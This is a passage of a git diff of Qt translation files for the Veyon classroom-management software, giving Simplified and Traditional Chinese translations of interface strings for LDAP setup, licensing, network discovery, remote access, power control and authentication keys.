请输入要查询的组成员资格的用户登录名: + + + groups of user + 用户组 + + + user login attribute or group membership attribute + 用户登录属性或者组成员属性 + + + User not found + 未找到用户 + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + 找不到名称为 "%1" 的用户。 请检查用户名或用户树参数。 + + + Enter host name + 输入主机名 + + + Please enter a computer host name whose group memberships to query: + 请输入要查询的组成员的计算机主机名称: + + + groups of computer + 计算机组 + + + computer host name attribute or group membership attribute + 计算机主机名属性或者组成员属性 + + + Computer not found + 未找到计算机 + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + 无法找到主机名为 "%1" 的计算机。 请检查主机名或计算机树参数。 + + + Enter computer IP address + 输入计算机 IP 地址 + + + Please enter a computer IP address which to resolve to an computer object: + 请输入要解析为计算机对象的计算机 IP 地址: + + + Host name lookup failed + 主机名查询失败 + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + 无法查找 IP 地址为 %1 的主机名。 请检查您的DNS服务器设置。 + + + computers + 计算机 + + + LDAP %1 test failed + LDAP %1 测试失败 + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + 无法查询配置的 %1 中的任何条目。 请检查 %1 参数。 + +%2 + + + LDAP %1 test successful + LDAP %1 测试成功 + + + The %1 has been queried successfully and %2 entries were found. + 已成功查询 %1 ,并找到 %2 个条目。 + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + 无法查询任何 %1。 请检查 %2 参数或输入现有对象的名称. + +%3 + + + %1 %2 have been queried successfully: + +%3 + %1 %2 查询成功: + +%3 + + + LDAP filter test failed + LDAP 过滤器测试失败 + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + 无法使用配置的过滤器查询任何 %1 。 请检查 LDAP 过滤器的 %1 。 + +%2 + + + LDAP filter test successful + LDAP 过滤器测试成功 + + + %1 %2 have been queried successfully using the configured filter. + %1 %2 使用配置的过滤器成功查询。 + + + (only if different from group tree) + (仅当与组树不同时) + + + Computer group tree + 计算机组树 + + + computer group tree + 计算机组树 + + + Filter for computers + 计算机过滤器 + + + e.g. room or computerLab + 例如:计算机教室或实验室 + + + List all members of a computer room + 列出计算机教室里的所有成员 + + + List all computer rooms + 列出所有的计算机教室 + + + Enter computer room name + 输入计算机教室名称 + + + Please enter the name of a computer room (wildcards allowed): + 请输入计算机房的名称(允许使用通配符): + + + computer rooms + 计算机教室 + + + computer room attribute + 计算机教室属性 + + + Please enter the name of a computer room whose members to query: + 请输入要查询其成员的计算机机房的名称: + + + computer room members + 计算机教室成员 + + + computer group filter or computer room member aggregation + 计算机组过滤器或计算机机房成员汇总 + + + Computer rooms + 计算机教室 + + + Integration tests + 集成测试 + + + Computer room attribute + 计算机教室属性 + + + Aggregate computers in a room via: + 通过以下方式在一个房间中聚合计算机: + + + Computer groups + 计算机组 + + + Computer room attribute in computer objects + 计算机对象中的计算机房属性 + + + Test not applicable + 测试不适用 + + + Computer room name attribute + 计算机教室名称属性 + + + e.g. name or description + 例如:名称或描述 + + + Filter for computer containers + 用于计算机的过滤器 + + + Computer containers or OUs + 计算机容器或 OU + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + 请将计算机机房设置改为使用计算机组或计算机容器作为计算机教室。 然后将查询指定的属性而不是计算机组或容器对象的通用名称。 否则,您不需要配置此属性。 + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + 请更改下面的计算机教室设置,将计算机容器用作计算机教室。 否则,您不需要配置此过滤器。 + + + Connection security + 连接安全性 + + + TLS certificate verification + TLS 证书验证 + + + System defaults + 系统默认值 + + + Never (insecure!) + 从不(不安全!) + + + Custom CA certificate file + 自定义 CA 证书文件 + + + None + 无 + + + TLS + TLS + + + SSL + SSL + + + e.g. (objectClass=computer) + 例如 (objectClass=computer) + + + e.g. (objectClass=group) + 例如 (objectClass=group) + + + e.g. (objectClass=person) + 例如 (objectClass=person) + + + e.g. (objectClass=room) or (objectClass=computerLab) + 例如 (objectClass=room) 或 (objectClass=computerLab) + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + 例如 (objectClass=container) 或 (objectClass=organizationalUnit) + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + 无法查询配置的基本 DN。 请检查基本 DN 参数 + +%1 + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + LDAP 基本 DN 已成功查询。 找到以下条目: + +%1 + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + 无法通过命名上下文查询基本 DN。 请检查命名上下文属性参数。 + +%1 + + + Certificate files (*.pem) + 证书文件 (*.pem) + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + 无法连接到 LDAP 服务器。 请检查服务器参数。 + +%1 + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + 无法绑定到 LDAP 服务器。 请检查服务器参数并绑定证书。 + +%1 + + + Encryption protocol + 加密协议 + + + + LdapPlugin + + Auto-configure the base DN via naming context + 通过命名上下文自动配置基本 DN + + + Query objects from LDAP directory + 从 LDAP 目录查询对象 + + + Show help about command + 显此命令的帮助信息 + + + Commands for configuring and testing LDAP/AD integration + 用于配置和测试 LDAP/AD 集成的命令 + + + Provide LDAP/AD integration for Veyon + 为 Veyon 提供 LDAP/AD 集成 + + + LDAP (load computers and rooms from LDAP/AD) + LDAP(从 LDAP/AD 加载计算机和教室) + + + LDAP (load users and groups from LDAP/AD) + LDAP(从 LDAP/AD 加载用户和组) + + + + LicensingConfigurationPage + + Licensing + 许可 + + + Installed licenses + 已安装的许可证 + + + Add new network range + 添加新的网络范围 + + + Remove selected network range + 移除选中的网络范围 + + + ID + ID + + + Feature + 特性 + + + Valid until + 有效期至 + + + Licensee + 被许可人 + + + Browse license file + 浏览许可证文件 + + + Veyon license files (*.vlf) + Veyon 许可证文件 + + + Remove license + 删除许可证 + + + Do you really want to remove the selected license? + 您确定要删除所选的许可证吗? + + + <N/A> + <N/A> + + + Invalid license file + 无效的许可证文件 + + + Could not open the license file for reading! + 无法打开打开并读取许可证文件! + + + The selected license file does not contain valid data. + 选定的许可证文件不包含有效数据。 + + + The selected license file could not be verified. + 无法验证所选的许可证文件。 + + + The selected license file is not valid for this installation. + 选定的许可证文件对此安装无效。 + + + The selected license file is expired. + 选定的许可证文件已过期。 + + + The license is already installed. + 许可证已安装。 + + + + LicensingPlugin + + Show help for specific command + 为指定的命令显示帮助 + + + Show all installed licenses + 显示所有已安装的许可 + + + Add license file + 添加许可证文件 + + + Remove installed license + 删除已安装的许可证 + + + +USAGE + +%1 add <LICENSE FILE> + + + +用法: + +%1 add <LICENSE FILE> + + + + + +USAGE + +%1 remove <LICENSE ID> + + + +用法: + +%1 remove <LICENSE ID> + + + + + No certificate found with given ID + 找不到给定 ID 的许可证书 + + + <N/A> + <N/A> + + + Licensing management + 许可管理 + + + Commands for managing license keys + 用于管理许可证密钥的命令 + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + 通过插件实现 Linux 平台的抽象函数 + + + + MainToolBar + + Configuration + 配置 + + + Disable balloon tooltips + 禁用气球浮动提示 + + + Show icons only + 仅显示图标 + + + + MainWindow + + MainWindow + 主窗口 + + + toolBar + 工具栏 + + + General + 常规 + + + &File + 文件(&F) + + + &Help + 帮助(&H) + + + &Quit + 退出(&Q) + + + Ctrl+Q + Ctrl+Q + + + Ctrl+S + Ctrl+S + + + L&oad settings from file + 打开(&O) + + + Ctrl+O + Ctrl+O + + + About Qt + 关于 Qt + + + Authentication impossible + 无法认证 + + + Configuration not writable + 配置文件不可写 + + + Load settings from file + 打开配置文件 + + + Save settings to file + 保存配置文件 + + + Unsaved settings + 不保存 + + + There are unsaved settings. Quit anyway? + 设置还未保存,确定要退出吗? + + + Veyon Configurator + Veyon 配置器 + + + Service + 服务 + + + Master + 主机 + + + Access control + 访问控制 + + + About Veyon + 关于 Veyon + + + Auto + 自动 + + + Computer rooms + 计算机教室 + + + About + 关于 + + + %1 Configurator %2 + %1 配置器 %2 + + + JSON files (*.json) + JSON 文件 (*.json) + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + 本地配置后端报告配置不可写入! 请以更高的权限来运行 %1 配置程序。 + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + 没有找到密钥认证文件或者您当前的文件已过期。 请使用 %1 配置程序创建新的密钥文件。 或者使用 %1 配置器设置登录认证。 否则,您将无法使用 %1 访问计算机。 + + + Access denied + 拒绝访问 + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + 根据本地配置,您不允许访问网络中的计算机。 请使用其他帐户登录或让系统管理员检查本地配置。 + + + Screenshots + 屏幕截图 + + + Feature active + 已激活的功能 + + + The feature "%1" is still active. Please stop it before closing %2. + 功能 "%1" 仍处于活动状态。 请在关闭 "%2" 之前停止它。 + + + Reset configuration + 重置配置 + + + Do you really want to reset the local configuration and revert all settings to their defaults? + 你真的想重置本地配置并将所有设置恢复为默认值吗? + + + Search users and computers + 搜索用户和计算机 + + + Adjust optimal size + 调整最佳尺寸 + + + Align computers to grid + 将计算机图标与网格对齐 + + + Use custom computer placement + 手动排列计算机图标 + + + %1 Configurator + %1 配置器 + + + Insufficient privileges + 权限不够 + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + 无法以管理权限运行。 请确保您的桌面环境安装了类似 sudo 的程序!程序将以普通用户权限运行。 + + + Only show powered on computers + 仅显示开机的计算机 + + + &Save settings to file + &S保存设置到文件 + + + &View + + + + &Standard + + + + &Advanced + + + + + MasterConfigurationPage + + Directories + 文件夹 + + + ... + ... + + + User configuration + 用户配置 + + + Feature on computer double click: + 在计算机图标上双击运行的功能: + + + Automatically switch to current room at start + 在启动时自动切换到当前教室 + + + Features + 功能 + + + All features + 所有功能 + + + Disabled features + 禁用的功能 + + + Perform access control at program start + 在程序启动时执行访问控制 + + + Screenshots + 屏幕截图 + + + <no feature> + <no feature> + + + Automatically adjust computer thumbnail size at start + 在启动时自动调整电脑图标大小 + + + Basic settings + 基本设置 + + + Behaviour + 行为 + + + Enforce selected mode for client computers + 为客户端计算机强制选择模式 + + + Only show current room + 仅显示当前教室 + + + Allow adding rooms manually + 允许手动添加教室 + + + Hide local computer + 隐藏本地计算机 + + + Hide empty rooms + 隐藏空教室 + + + Hide computer filter field + 隐藏计算机过滤器文本框 + + + Actions such as rebooting or powering down computers + 比如重新启动或关闭计算机的操作 + + + Show confirmation dialog for potential dangerous actions + 显示潜在危险操作的确认对话框 + + + User interface + 用户界面 + + + Background color + 背景色 + + + Thumbnail update interval + 缩略图更新时间 + + + ms + 毫秒 + + + Program start + 程序启动 + + + Modes and features + 模式和功能 + + + User and computer name + 用户和计算机名称 + + + Only user name + 仅用户名 + + + Only computer name + 仅计算机名称 + + + Computer thumbnail caption + 计算机缩略图名称 + + + Computer rooms + 计算机教室 + + + Automatically open computer rooms widget + 自动打开计算机教室组件 + + + Text color + 文本颜色 + + + Sort order + 排序 + + + Computer and user name + 计算机和用户名 + + + + MonitoringMode + + Monitoring + 监控 + + + Builtin monitoring mode + 内置监控模式 + + + This is the default mode and allows you to monitor all computers in one or more rooms. + 这是默认模式,并允许您监视一个或多个房间中的所有计算机。 + + + + NetworkDiscoveryConfigurationPage + + Network discovery + 网络发现 + + + Mode + 模式 + + + Scan network ranges + 扫描网络范围 + + + e.g. 192.168.1.0/24 + 例如: 192.168.1.0/24 + + + Scan all subnets of computer + 扫描计算机的所有子网 + + + Scan custom subnet + 扫描指定的子网 + + + Scan sessions on local computer + 扫描会话在本地计算机上 + + + Test + 测试 + + + Network ranges + 网络范围 + + + Add new group + 添加新的组 + + + Remove selected group + 移除选中的组 + + + Groups + 组 + + + First address + 第一个地址 + + + Last address + 最后一个地址 + + + Add new network range + 添加新的网络范围 + + + Remove selected network range + 移除选中的网络范围 + + + Parallel scans + 并行扫描 + + + Scan timeout + 扫描超时 + + + ms + 毫秒 + + + Session scan limit + 会话扫描限制 + + + New group + 新建组 + + + Options + 首选项 + + + Reverse lookup discovered IP addresses to host names + 反向查找已发现的IP地址到主机名 + + + + NetworkDiscoveryDirectory + + Scanning... + 正在扫描... + + + Discovered computers + 查找计算机 + + + + NetworkDiscoveryPlugin + + Show help for specific command + 为指定的命令显示帮助 + + + Scan a subnet + 扫描一个子网 + + + +USAGE + +%1 scan [<SUBNET>] + + + +用法: + +%1 scan [<SUBNET>] + + + + + Network object directory which automatically discovers computers in the network + 网络中,可自动发现计算机的网络对象目录 + + + Network discovery (scan network for Veyon clients) + 网络发现(Veyon 客户端的扫描网络) + + + Commands for managing the network discovery directory + 用于管理网络发现目录的命令 + + + + NetworkObjectTreeModel + + Room/Computer + 教室/计算机 + + + + PasswordDialog + + Username + 用户名 + + + Password + 密码 + + + Veyon Logon + Veyon 登录 + + + Authentication error + 验证错误 + + + Logon failed with given username and password. Please try again! + 使用给定的用户名和密码登录失败。 请再试一次! + + + Please enter your username and password in order to access computers. + 请输入您的用户名和密码才能访问计算机。 + + + + PowerControlFeaturePlugin + + Power on + 开机 + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + 点击此按钮开启所有电脑。这样您就不必手动启动每台电脑。 + + + Reboot + 重启 + + + Click this button to reboot all computers. + 点击此按钮重启所有电脑。 + + + Power down + 关机 + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + 点击此按钮关闭所有电脑。这样您就不必手动关闭每台电脑。 + + + Power on/down or reboot a computer + 打开/关闭电源或重新启动计算机 + + + Confirm reboot + 确认重启 + + + Confirm power down + 确认关机 + + + Do you really want to reboot the selected computers? + 你确定要重新启动选定的电脑吗? + + + Do you really want to power down the selected computer? + 你确定要关闭选定的电脑吗? + + + Power on a computer via Wake-on-LAN (WOL) + 通过局域网唤醒(WOL)打开计算机电源 + + + MAC ADDRESS + MAC 地址(网卡物理地) + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + 此命令将网络唤醒(WOL)数据包广播到网络,以便使用给定的MAC地址打开计算机的电源。 + + + Please specify the command to display help for! + 请指定需要显示用法命令! + + + Invalid MAC address specified! + 指定的 MAC 地址无效! + + + Commands for controlling power status of computers + 用于控制计算机电源状态的命令 + + + + RemoteAccessFeaturePlugin + + Remote view + 远程桌面 + + + Open a remote view for a computer without interaction. + 非控制模式打开计算机远程视图。 + + + Remote control + 远程控制 + + + Open a remote control window for a computer. + 打开计算机的远程控制窗口。 + + + Remote access + 远程访问 + + + Remote view or control a computer + 远程查看或控制电脑 + + + Please enter the hostname or IP address of the computer to access: + 请输入要访问的计算机的主机名或IP地址: + + + Show help about command + 显此命令的帮助信息 + + + + RemoteAccessWidget + + %1 - %2 Remote Access + %1 - %2 远程访问 + + + + RemoteAccessWidgetToolBar + + View only + 仅可视 + + + Remote control + 远程控制 + + + Send shortcut + 发送快捷键 + + + Fullscreen + 全屏 + + + Window + 窗口 + + + Quit + 退出 + + + Ctrl+Alt+Del + Ctrl+Alt+Del + + + Ctrl+Esc + Ctrl+Esc + + + Alt+Tab + Alt+Tab + + + Alt+F4 + Alt+F4 + + + Win+Tab + Win+Tab + + + Win + Win + + + Menu + 菜单键 + + + Alt+Ctrl+F1 + Alt+Ctrl+F1 + + + Connecting %1 + 正在连接 %1 + + + Connected. + 已连接。 + + + Screenshot + 屏幕截图 + + + + RoomSelectionDialog + + Room selection + 教室选择 + + + enter search filter... + 输入搜索管理器... + + + + Routing + + Control internet access by modifying routing table + 通过修改路由表来控制 Internet 访问 + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + 删除默认路由以阻止 Internet 访问 + + + Add custom route to block internet + 通过添加自定义路由来阻止访问互联网 + + + Destination + 目标地址 + + + Gateway + 网关 + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + 请输入要在所选计算机上运行的程序或命令。 您可以按行分隔多个程序/命令。 + + + Run programs + 运行程序 + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + 例如 "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + ScreenLockFeaturePlugin + + Lock + 锁定 + + + Unlock + 解锁 + + + Lock screen and input devices of a computer + 锁定计算机屏幕和输入设备 + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + 要集中所有用户的注意力,您可以使用此按钮锁定他们的计算机。 在这种模式下,所有输入设备都被锁定,屏幕变黑。 + + + + Screenshot + + unknown + 未知 + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + 无法截取截图,因为目录 %1 不存在且无法创建。 + + + Screenshot + 屏幕截图 + + + + ScreenshotFeaturePlugin + + Screenshot + 屏幕截图 + + + Use this function to take a screenshot of selected computers. + 使用此功能截取所选计算机的屏幕截图。 + + + Screenshots taken + 已截图 + + + Screenshot of %1 computer have been taken successfully. + %1 计算机屏幕已成功截图。 + + + Take screenshots of computers and save them locally. + 以计算机屏幕截图并将其保存在本地。 + + + + ScreenshotManagementView + + User: + 用户: + + + Date: + 日期: + + + Time: + 时间: + + + Show + 显示 + + + Delete + 删除 + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + 这里列出了您抓取的所有屏幕截图。 您可以通过单击计算机上下文菜单中的“屏幕截图”菜单来抓取屏幕截图。 截图可以使用下面的按钮进行管理。 + + + Computer: + 计算机: + + + + ServiceConfigurationPage + + General + 常规 + + + Autostart + 自动启动 + + + Hide tray icon + 隐藏托盘图标 + + + Start service + 开启服务 + + + Stopped + 已停止 + + + Stop service + 停止服务 + + + State: + 状态: + + + Enable SAS generation by software (Ctrl+Alt+Del) + 通过软件启用 SAS 生成(Ctrl + Alt + Del) + + + Network + 网络 + + + Demo server port + 演示服务端口 + + + Enable firewall exception + 开启防火墙例外设定 + + + Allow connections from localhost only + 只允许本地连接 + + + Internal VNC server port + 内部 VNC 服务器端口 + + + VNC server + VNC 服务 + + + Plugin: + 插件: + + + Restart %1 Service + 重启 %1 服务 + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + 所有设置都已成功保存。为了生效,需要重新启动 %1 服务。现在重新启动它? + + + Running + 正在运行 + + + Feature manager port + 功能管理器端口 + + + Primary service port + 主服务端口 + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + 启用此选项将启动计算机上每一个交互式会话的服务器进程。 +通常这是支持终端服务器所必需的。 + + + Multi session support (experimental) + 多会话支持(实验) + + + Show notification on remote connection + 在远程连接上显示通知 + + + Show notification on failed authentication attempts + 显示尝试身份验证失败的通知 + + + + ServiceControl + + Starting service %1 + 启动服务 %1 + + + Stopping service %1 + 停止服务 %1 + + + Registering service %1 + 注册服务 %1 + + + Unregistering service %1 + 反注册服务 %1 + + + Service control + 服务控制 + + + + ServiceControlPlugin + + Service is running + 服务正在运行 + + + Service is not running + 服务没有运行 + + + Configure and control Veyon service + 配置和控制 Veyon 服务 + + + Register Veyon Service + 注册 Veyon 服务 + + + Unregister Veyon Service + 反注册 Veyon 服务 + + + Start Veyon Service + 启动 Veyon 服务 + + + Stop Veyon Service + 停止 Veyon 服务 + + + Restart Veyon Service + 重启 Veyon 服务 + + + Query status of Veyon Service + 查询 Veyon 服务状态 + + + Commands for configuring and controlling Veyon Service + 用于配置和控制Veyon服务的命令 + + + + ShellCommandLinePlugin + + Run command file + 运行命令文件 + + + File "%1" does not exist! + 文件 "%1" 不存在! + + + Interactive shell and script execution for Veyon Control + Veyon 控制器的交互式 shell 和脚本运行 + + + Commands for shell functionalities + shell功能的命令 + + + + SystemTrayIcon + + System tray icon + 系统托盘图标 + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + 系统用户组的用户组后端 + + + Default (system user groups) + 默认(系统用户组) + + + + TextMessageDialog + + Send text message + 发送文字消息 + + + Use the field below to type your message which will be sent to all selected users. + 在下面的文本框中输入您要发送给所选用户的消息。 + + + + TextMessageFeaturePlugin + + Text message + 文字消息 + + + Use this function to send a text message to all users e.g. to assign them new tasks. + 使用此功能可向所有用户发送文字信息,例如 为他们分配新任务。 + + + Message from teacher + 来自教师的消息 + + + Send a message to a user + 给一个用户发送消息 + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + 开启多层次(半透明)窗口抓取 + + + Poll full screen (leave this enabled per default) + 抓取全屏幕(默认每次开启) + + + Low accuracy (turbo mode) + 低分辨率(快速模式) + + + Builtin UltraVNC server configuration + 内置 UltraVNC 服务配置 + + + Enable multi monitor support + + + + Enable Desktop Duplication Engine on Windows 8 and newer + + + + + UserConfig + + No write access + 没有写入权限 + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + 无法保存您的个人设置! 请使用 %1 配置器检查用户配置文件路径。 + + + + UserSessionControl + + User session control + 用户会话控制 + + + Click this button to logout users from all computers. + 点击此按钮所有计算机执行注销命令。 + + + Confirm user logout + 确认用户登出/注销 + + + Do you really want to logout the selected users? + 您确定要注销选定的用户? + + + Logout + 退出 + + + + VeyonCore + + [OK] + [OK] + + + [FAIL] + [FAIL] + + + Invalid command! + 无效的命! + + + Available commands: + 可用命令: + + + Invalid arguments given + 给定的参数无效 + + + Not enough arguments given - use "%1 help" for more information + 没有给出足够的参数 - 使用 "%1 help" 获取更多信息 + + + Unknown result! + 未知的结果! + + + Available modules: + 可用的模块: + + + No module specified or module not found - available modules are: + 没有指定的模块或找不到模块 - 可用模块为: + + + Plugin not licensed + 插件没有许可 + + + INFO + INFO + + + ERROR + ERROR + + + licensed for + 许可给 + + + + VeyonServiceControl + + Veyon Service + Veyon 服务 + + + + VncView + + Establishing connection to %1 ... + 正在建立到 %1 的连接... + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + 插件实现 Windows 平台的抽象函数 + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + WindowsServiceControl: 服务 "%1" 已经安装。 + + + WindowsServiceControl: the service "%1" could not be installed. + WindowsServiceControl: 服务 "%1" 未能安装。 + + + WindowsServiceControl: the service "%1" has been installed successfully. + WindowsServiceControl: 服务 "%1" 已成功安装。 + + + WindowsServiceControl: the service "%1" could not be uninstalled. + WindowsServiceControl: 服务 "%1" 不能被卸载。 + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + WindowsServiceControl: 服务 "%1" 已成功卸载。 + + + WindowsServiceControl: the start type of service "%1" could not be changed. + WindowsServiceControl: 服务 "%1" 的启动类型无法更改。 + + + WindowsServiceControl: service "%1" could not be found. + WindowsServiceControl: 服务 "%1" 未能找到。 + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + 内置 x11vnc 服务配置 + + + Custom x11vnc parameters: + 定制 x11vnc 参数: + + + Do not use X Damage extension + 不要使用 X Damage 扩展 + + + \ No newline at end of file diff --git a/translations/zh_TW.ts b/translations/zh_TW.ts new file mode 100644 index 0000000..e5bc8ed --- /dev/null +++ b/translations/zh_TW.ts @@ -0,0 +1,3930 @@ + + + AboutDialog + + About + 關於 + + + Translation + 翻譯 + + + License + 授權 + + + About Veyon + 關於 Veyon + + + Contributors + 貢獻者 + + + Version: + 版本: + + + Website: + 網站: + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + 目前語言尚未翻譯 (或原生英語)。 + +如果您有興趣翻譯 Veyon 為您的本地或另一種語言或想要改善現有的翻譯,請聯絡 Veyon 開發人員! + + + About %1 %2 + 關於 %1 %2 + + + Support Veyon project with a donation + 以捐贈支持 Veyon 專案 + + + + AccessControlPage + + Computer access control + 電腦存取控制 + + + Grant access to every authenticated user (default) + 每個經過驗證的使用者授予存取權限 (預設值) + + + Test + 測試 + + + Restrict access to members of certain user groups + 限制對某些使用者群組成員的存取 + + + Process access control rules + 處理程序存取控制規則 + + + User groups authorized for computer access + 授權電腦存取的使用者群組 + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + 請加入群組,其成員應授權存取 Veyon 網路中的電腦。 + + + Authorized user groups + 授權的使用者群組 + + + All groups + 所有群組 + + + ... + ... + + + Access control rules + 存取控制規則 + + + Add access control rule + 加入存取控制規則 + + + Remove access control rule + 移除存取控制規則 + + + Move selected rule down + 向下移動所選的規則 + + + Move selected rule up + 向上移動所選的規則 + + + Edit selected rule + 編輯所選的規則 + + + Enter username + 輸入使用者名稱 + + + Please enter a user login name whose access permissions to test: + 請輸入測試其存取權限的使用者登入名稱: + + + Access allowed + 允許存取 + + + The specified user is allowed to access computers with this configuration. + 允許指定的使用者以這個組態存取電腦。 + + + Access denied + 拒絕存取 + + + The specified user is not allowed to access computers with this configuration. + 不允許指定的使用者以這個組態存取電腦。 + + + Enable usage of domain groups + 啟用網域群組使用 + + + User groups backend: + 使用者群組後台: + + + Missing user groups backend + 缺少使用者群組後台 + + + No default user groups plugin was found. Please check your installation! + 找不到預設的使用者群組外掛件。 請檢查您的安裝! + + + + AccessControlRuleEditDialog + + Edit access control rule + 編輯存取控制規則 + + + General + 一般 + + + enter a short name for the rule here + 在此輸入規則的簡稱 + + + Rule name: + 規則名稱: + + + enter a description for the rule here + 在此輸入規則的描述 + + + Rule description: + 規則描述: + + + Invert all conditions ("is/has" interpreted as "is/has not") + 反向所有條件 ("是/有" 解釋為 "不是/沒有") + + + Conditions + 條件 + + + is member of group + 是群組的成員 + + + is located in room + 位於教室 + + + Accessing computer is localhost + 存取電腦是 localhost + + + Accessing user is logged on user + 存取使用者是登入的使用者 + + + Accessing user is already connected + 存取使用者已經連線 + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + 如果有啟用一個以上條件,每個條件必須滿足,以便使規則套用 (邏輯 AND)。 如果多個條件只有一個必須滿足 (邏輯 OR),請建立多個存取控制規則。 + + + Action + 動作 + + + Allow access + 允許存取 + + + Deny access + 拒絕存取 + + + Ask logged on user for permission + 詢問登入使用者的權限 + + + None (rule disabled) + 無 (停用規則) + + + Accessing user + 存取使用者 + + + Accessing computer + 存取電腦 + + + Local (logged on) user + 本機 (登入的) 使用者 + + + Local computer + 本機電腦 + + + Always process rule and ignore conditions + 始終處理規則和忽略條件 + + + No user logged on + 沒有使用者登入 + + + Accessing computer is located in the same room as local computer + 存取電腦與本機電腦位在相同教室 + + + Accessing user has one or more groups in common with local (logged on) user + 存取使用者與本機 (登入的) 使用者有一個或數個群組在通用 + + + + AccessControlRulesTestDialog + + Access control rules test + 存取控制規則測試 + + + Accessing user: + 存取使用者: + + + Local computer: + 本機電腦: + + + Accessing computer: + 存取電腦: + + + Please enter the following user and computer information in order to test the configured ruleset. + 請輸入以下使用者和電腦的資訊,以便測試組態的規則集。 + + + Local user: + 本機使用者: + + + Connected users: + 已連線的使用者: + + + The access in the given scenario is allowed. + 允許在給予情境中存取。 + + + The access in the given scenario is denied. + 拒絕在給予情境中存取。 + + + The access in the given scenario needs permission of the logged on user. + 在給予情境中存取。需要登入使用者的權限。 + + + ERROR: Unknown action + 錯誤: 未知的動作 + + + Test result + 測試結果 + + + + AuthKeysConfigurationPage + + Authentication keys + 驗證金鑰 + + + Introduction + 說明 + + + Key file directories + 金鑰檔目錄 + + + Public key file base directory + 公開金鑰檔基礎目錄 + + + Private key file base directory + 私密金鑰檔基礎目錄 + + + ... + ... + + + Available authentication keys + 可用驗證金鑰 + + + Create key pair + 建立金鑰配對 + + + Delete key + 刪除金鑰 + + + Import key + 匯入金鑰 + + + Export key + 匯出金鑰 + + + Set access group + 設定存取群組 + + + Key files (*.pem) + 金鑰檔 (*. pem) + + + Authentication key name + 驗證金鑰名稱 + + + Please enter the name of the user group or role for which to create an authentication key pair: + 請輸入要為其建立身份驗證金鑰配對的使用者群組或角色的名稱: + + + Do you really want to delete authentication key "%1/%2"? + 您真的要刪除身份驗證金鑰 "%1/%2" 嗎? + + + Please select a key to delete! + 請選擇要刪除的金鑰! + + + Please enter the name of the user group or role for which to import the authentication key: + 請輸入要為其匯入身份驗證金鑰的使用者群組或角色的名稱: + + + Please select a key to export! + 請選擇要匯出的金鑰! + + + Please select a user group which to grant access to key "%1": + 請選擇要授予對金鑰 "%1" 存取權限的使用者群組: + + + Please select a key which to set the access group for! + 請選擇要為其設定存取群組的金鑰! + + + Please perform the following steps to set up key file authentication: + 請執行以下步驟以設定金鑰檔身份驗證: + + + 1) Create a key pair on the master computer. + 1) 在主電腦上建立金鑰對。 + + + 2) Set an access group whose members should be allowed to access other computers. + 2) 設定一個存取群組,應該允許其成員存取其它電腦。 + + + 3) Export the public key and import it on all client computers with the same name. + 3) 匯出公開金鑰並將其匯入到具有相同名稱的所有用戶端電腦上。 + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + 有關詳細資訊,請參閱 <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon 管理員手冊</a>。 + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + 身份驗證金鑰配對由兩個耦合的加密金鑰,一個私有金鑰和一個公開金鑰組成。 +私密金鑰允許主機電腦上的使用者存取用戶端電腦。 +重要的是,只有授權使用者才能對私密金鑰檔進行讀取存取。 +公開金鑰用於用戶端電腦以驗證傳入連線請求。 + + + + AuthKeysManager + + Please check your permissions. + 請檢查您的權限。 + + + Key name contains invalid characters! + 金鑰名稱包含無效字元! + + + Invalid key type specified! Please specify 